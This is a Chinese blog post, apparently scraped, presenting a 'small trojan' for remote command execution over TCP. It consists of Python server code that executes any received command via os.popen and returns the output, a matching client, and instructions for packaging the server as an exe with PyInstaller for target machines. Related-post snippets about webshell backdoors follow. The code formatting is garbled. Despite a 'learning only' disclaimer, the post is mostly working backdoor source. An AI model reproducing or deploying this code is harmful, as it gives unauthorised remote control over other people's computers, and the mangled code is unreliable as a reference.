基於tcp的遠端命令執行小木馬

2021-10-07 13:14:03 字數 1719 閱讀 5098

僅作為個人學習使用,請勿用於非法用途

c/s結構

服務端負責接收tcp報文,並通過python提供的os模組來執行接收到的遠端命令。這就是我們寫的小木馬。

客戶端也就是我們要向目標靶機傳送報文的一端,負責傳輸資料到服務端。

服務端**

import os

from socket import

*# 建立連線 tcp

# af_inet:ipv4; sock_stream:tcp

client = socket(af_inet, sock_stream)

# 繫結主機ip:本地ip, 12345埠

address =(""

,12345

)client.bind(address)

# 監聽佇列長度

client.listen(5)

while

true

: newsocket, clientsocket = client.accept(

)while

true

: cmd = newsocket.recv(

4096

)# 判斷cmd是否有內容

iflen

(cmd)

>0:

print

("console:"

+ cmd.decode(

'utf-8'))

# 做控制操作

# res開啟命令列

res = os.popen(cmd.decode(

'utf-8'),

'r')

newsocket.send(res.read(

).encode(

'utf-8'))

# res關閉命令列

res.close(

)else

:break

newsocket.close(

)

客戶端**

from socket import

*tcpsocket = socket(af_inet, sock_stream)

serveraddress =

('192.168.223.138'

,12345

)tcpsocket.connect(serveraddress)

while

true

: sendcmd =

input

("cmd>>")if

len(sendcmd)

>0:

tcpsocket.send(sendcmd.encode(

'utf-8'))

else

:break

# 接受執行後的結果

recv = tcpsocket.recv(

4096

)print

(recv.decode(

"utf-8"))

tcpsocket.close(

)

上面這段**也就實現了很low的功能,還研究了一天。。。

寫好**後有乙個問題,目標靶機上沒有py解釋環境怎麼辦,那就打包唄。

pyinstaller可以實現把py**打包成exe程式。

pyinstaller -f filename.py

ok了,把exe放到虛擬機器了看看效果,成功!這一天沒有白費。

基於tcp實現遠端執行命令

1 author kelvin2 date 2019 1 30 20 10 3from socket import 4import subprocess 56 ip conf 127.0.0.1 8888 7 buffer capacity 1024 8 tcp server socket af i...

socket 基於tcp實現遠端執行命令

server.py socket 基於tcp實現遠端執行命令 from socket import import subprocess ip port 127.0.0.1 8080 back log 5buffer size 1024tcp server socket af inet,sock st...

php執行cmd shell命令 木馬小後門

php執行shell命令,可以使用下面幾個函式 string system string katex parse error expected eof got at position 16 command int return var string exec string katex parse e...